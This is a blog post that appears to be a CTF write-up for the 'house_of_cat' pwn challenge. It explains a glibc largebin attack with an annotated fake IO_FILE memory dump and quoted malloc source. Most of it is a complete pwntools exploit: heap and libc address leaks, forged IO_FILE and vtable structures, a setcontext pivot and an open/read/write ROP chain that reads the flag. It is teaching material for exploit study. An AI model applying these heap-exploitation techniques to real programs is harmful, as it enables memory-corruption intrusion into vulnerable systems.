0x556d2583bb30: 0x0000000000000000      0x0000000000000000		//_wide_data结构体
0x556d2583bb40: 0x0000000000000001      0x0000000000000000		//_IO_read_base  _IO_write_base
0x556d2583bb50: 0x0000556d2583bbb0      0x00007fbfae469a6d		//_IO_write_ptr  call_addr
0x556d2583bb60: 0x0000000000000000      0x0000000000000000		//			_chain
0x556d2583bb70: 0x0000000000000000      0x0000000000000000
0x556d2583bb80: 0x0000000000000000      0x0000556d2583c000		//			_lock
0x556d2583bb90: 0x0000000000000000      0x0000000000000000
0x556d2583bba0: 0x0000556d2583bb30      0x0000000000000000		//_wide_data指针
0x556d2583bbb0: 0x0000000000000000      0x0000000000000000
0x556d2583bbc0: 0x0000000000000000      0x0000000000000000		//_mode
0x556d2583bbd0: 0x0000000000000000      0x00007fbfae62c0d0		//			vtable
0x556d2583bbe0: 0x0000000000000000      0x0000000000000000
0x556d2583bbf0: 0x0000000000000000      0x0000000000000000
0x556d2583bc00: 0x0000000000000000      0x0000000000000000
0x556d2583bc10: 0x0000556d2583bb40      0x0000556d2583c7d0		//rax(跳板)	flag_addr(rdi)
0x556d2583bc20: 0x0000000000000000      0x0000000000000000
0x556d2583bc30: 0x0000000000000000      0x0000000000000000
0x556d2583bc40: 0x0000000000000000      0x0000000000000000
0x556d2583bc50: 0x0000556d2583d050      0x00007fbfae43fcd6		//rsp(rop)  ret(ret_addr)
0x556d2583bc60: 0x0000000000000000      0x0000000000000000

Largebin attack攻击(高版本):

 else
       {
         victim_index = largebin_index (size);
         bck = bin_at (av, victim_index);//bck = libc_addr
         fwd = bck->fd;//fwd = largebin

         /* maintain large bins in sorted order */
         if (fwd != bck)
           {...
             if ((unsigned long) (size)
   < (unsigned long) chunksize_nomask (bck->bk))
               {
                 fwd = bck;//fwd = libc_addr
                 bck = bck->bk;//bck = largebin

                 victim->fd_nextsize = fwd->fd;//chunk+0x10 = largebin
                 victim->bk_nextsize = fwd->fd->bk_nextsize;//heap_addr+0x18 = target_addr(largebin+0x18)
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//largebin->bk_nextsize = target_addr->fd_nextsize = heap_addr
               }
             else
               {...
               }
           }...
       }

     mark_bin (av, victim_index);
     victim->bk = bck;
     victim->fd = fwd;
     fwd->bk = victim;
     bck->fd = victim;

exp如下:(参考了wp的方式

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './house_of_cat'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

login = lambda : r.sendafter("mew~~~~~~\n",b'LOGIN | r00t QWBQWXF admin')
cat   = lambda : r.sendafter("mew~~~~~~\n",b'CAT | r00t QWBQWXF $\xff')
def add(index,size=0x418,payload=b'/bin/sh\x00'):
    cat()
    r.sendlineafter("cat choice:\n",'1')
    r.sendlineafter("cat idx:\n",str(index))
    r.sendlineafter("cat size:\n",str(size))
    r.sendafter("content:\n",payload)

def delete(index):
    cat()
    r.sendlineafter("cat choice:\n",'2')
    r.sendlineafter("cat idx:\n",str(index))

def show(index):
    cat()
    r.sendlineafter("cat choice:\n",'3')
    r.sendlineafter("cat idx:\n",str(index))

def edit(index,payload):
    cat()
    r.sendlineafter("cat choice:\n",'4')
    r.sendlineafter("cat idx:\n",str(index))
    r.sendlineafter("content:\n",payload)

def pwndbg():
    gdb.attach(r)
    pause()

login()
add(0,0x420)
add(1,0x430)
add(2,0x418)
delete(0)
add(3,0x440)# 将0_chunk放入largebin之中,从而泄露heap与libc地址
show(0)
r.recvuntil("Context:\n")
libc_base = u64(r.recv(8))-0x21A0D0
heap_base = u64(r.recv(16)[8:])-0x290

pop_rax_ret     = libc_base+0x0000000000045eb0
pop_rdi_ret     = libc_base+0x000000000002a3e5
pop_rsi_ret     = libc_base+0x000000000002be51
pop_rdx_r12_ret = libc_base+0x000000000011f497
stderr_addr     = libc_base+0x21a860
setcontext_addr = libc_base+0x53A30
read_addr       = libc_base+0x114980
write_addr      = libc_base+0x114A20
close_addr      = libc_base+0x115100
syscall         = libc_base+0x91396
ret             = libc_base+0x0000000000029cd6

ioaddr=heap_base+0xb00
fake_io_addr  = heap_base+0xb00# fake_IO_FILE缺少0x10头部
fake_IO_FILE  = p64(0)*6#  伪造的_wide_data结构体
fake_IO_FILE += p64(1)+p64(0)#  
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE += p64(setcontext_addr+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE  = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE  = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE  = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE  = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE  = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
flagaddr      = heap_base+0x17d0

payload1 = fake_IO_FILE+p64(flagaddr)+p64(0)*6+p64(heap_base+0x2050)+p64(ret)

delete(2)
add(6,0x418,payload1)
delete(6)
#===============largebin attack stderr pointer===============
edit(0,p64(libc_base+0x21A0D0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(5,0x440)
add(7,0x430,b'flag\x00')
add(8,0x430)
#===============ROP===============
payload2 = flat([
    pop_rdi_ret,0,close_addr,
    pop_rdi_ret,flagaddr,pop_rsi_ret,0,pop_rax_ret,2,syscall,
    pop_rdi_ret,0,pop_rsi_ret,flagaddr,pop_rdx_r12_ret,0x50,0,read_addr,
    pop_rdi_ret,1,write_addr
])
add(9,0x430,payload2)
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
#===============largebin attack top_chunk->size===============
edit(5,p64(0x21A0E0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))

success(hex(libc_base))
success(hex(heap_base))
#gdb.attach(r)
cat()
r.sendlineafter("cat choice:\n",'1')
r.sendlineafter("cat idx:\n",str(11))
pwndbg()
r.sendlineafter("cat size:\n",str(0x450))


r.interactive()
posted @ 2023-02-12 15:27  望权栈  阅读(61)  评论(0编辑  收藏  举报  来源